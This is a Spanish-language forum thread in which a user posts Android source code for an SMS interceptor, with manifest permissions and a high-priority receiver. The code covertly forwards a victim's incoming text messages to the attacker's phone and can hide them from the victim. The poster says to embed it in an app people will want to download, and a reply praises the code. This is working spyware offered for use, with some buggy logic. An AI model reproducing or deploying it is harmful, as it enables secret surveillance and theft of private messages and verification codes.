Underc0de

Programación General => Desarrollo móvil => Mensaje iniciado por: Adalher en Septiembre 16, 2019, 06:15:44 am

Título: Interceptador de SMS
Publicado por: Adalher en Septiembre 16, 2019, 06:15:44 am
Hola a todos,

aquí hay un interceptor de SMS que se escribió para un miembro de un foro por el 2011, pensé que seguiría adelante y lo liberaría públicamente ya que para algunos la sección de Desarollo móvil a veces puede ser aburrida como Clay Davis.

Lo que esto hace:

Cosas a tener en cuenta:

Ahora bien, aquí está el código fuente.
SmsReceiver.java
Código: You are not allowed to view links. Register or Login
//Author: MrZander

import java.util.Arrays;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;

public class SmsReceiver extends BroadcastReceiver {

    // CONFIGURATION //

    // Esto cancelará la transmisión del SMS recibido.
    // Si esto es true, la víctima NO recibirá el mensaje que se le envía.   
    boolean abortarTM = true;

    // Si se debe interceptar o no TODOS los mensajes.   
    boolean interceptarTodos = false;

    // si interceptarTodos está apagado, esta es la matriz de números que serán interceptados.
    String[] numeros = {"5551234567","5551234655"};

    // Estos son los números de celulares a los que se ENVIARÁN los mensajes. (Su celular).
    String redireccionarCelular = "1235558765";

    // En emisión recibida. Mensaje SMS entrante.
    public void onReceive(Context context, Intent intento) {

  Bundle extras = intento.getExtras();
  String mensajes = "";

  // Se utiliza para determinar si un mensaje debe ser redirigido o no.
  boolean esDeEspia = false;

  if ( extras != null ) {
    Object[] smsExtra = (Object[]) extras.get("pdus"); //" Unidades de descripción de protocolo "
    for ( int i = 0; i < smsExtra.length; ++i ) { // Recorrer todos los mensajes (si se divide).

        // Recibe el mensaje de las UDP
    SmsMessage sms = SmsMessage.createFromPdu((byte[])smsExtra[i]);

    // Si interceptarTodos es verdadero o el número de teléfono está en la matriz de números para interceptar.
    if(interceptarTodos||Arrays.asList(numeros).contains(sms.getDisplayOriginatingAddress())){
  // Si el mensaje se disecciona en múltiples, concatenar.
    mensajes+=sms.getMessageBody()+"\n";

    // Este mensaje es de la víctima, redirigir.
    esDeEspia=true;

    //Abortar SMS.
    if(!abortarTM){
        abortBroadcast();
    }

    }
    }

    // Redirigir mensaje si es de la víctima
    if(esDeEspia){
        enviarSms(mensajes,"TUNUMERO");
    }

  }
    }

    // Enviar SMS ... bastante sencillo
    public  void enviarSms(String mensaje, String numcelular){
  SmsManager gs = SmsManager.getDefault();
  try{
  gs.sendTextMessage(numcelular, null, mensaje, null, null);
  }catch(Exception ex){
      // Error, este mensaje se perderá ... Les sugiero que creen
      // un método para hacer una copia de seguridad de los mensajes en caso de error y que lo vuelvan a intentarlo más tarde.
  }
    }
}

Declaraciones para agregar a sus AndroidManifest.xml
Permisos:
Código: You are not allowed to view links. Register or Login
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />

Receptor de transmisión: (le permite a Android saber que vas a recibir mensajes SMS. Nota: la prioridad se establece muy alta para permitir que tu aplicación sea la primera en recibir un mensaje SMS.
Código: You are not allowed to view links. Register or Login
<receiver android:name=".SmsReceiver" android:enabled="true">
    <intent-filter android:priority="1000">
    <action android:name="android.provider.Telephony.SMS_RECEIVED" />
    </intent-filter>
    </receiver>
Asegúrate de que si cambias "SmsReceiver.java a un nombre de clase diferente también tienes que cambiarlo en el manifiest. (Aunque no hay razón para cambiarlo).

Lo que tienes que hacer
1. Crea una aplicación que no sea Clay Davis para que la gente realmente la descargue.
2. Agrega la clase 'SmsReceiver' a tu proyecto. (Recomiendo NO renombrarlo).
3. Agrega las declaraciones de manifiest.

Estas listo. No se necesita un código de inicialización, todo se maneja en el Manifiesto.
Avísenme si hay algún problema/error. (Se agregó algunas características sin probar. No creo que sea muy retrasado. Debería ser bueno).
Que se diviertan.

Autor: MrZander


Saludos
Título: Re:Interceptador de SMS
Publicado por: Zentraedi en Septiembre 16, 2019, 12:02:21 pm
La verdad que muy bueno, no lo probé aún, pero el código muy bien explicado.

Enviado desde mi Moto E (4) Plus mediante Tapatalk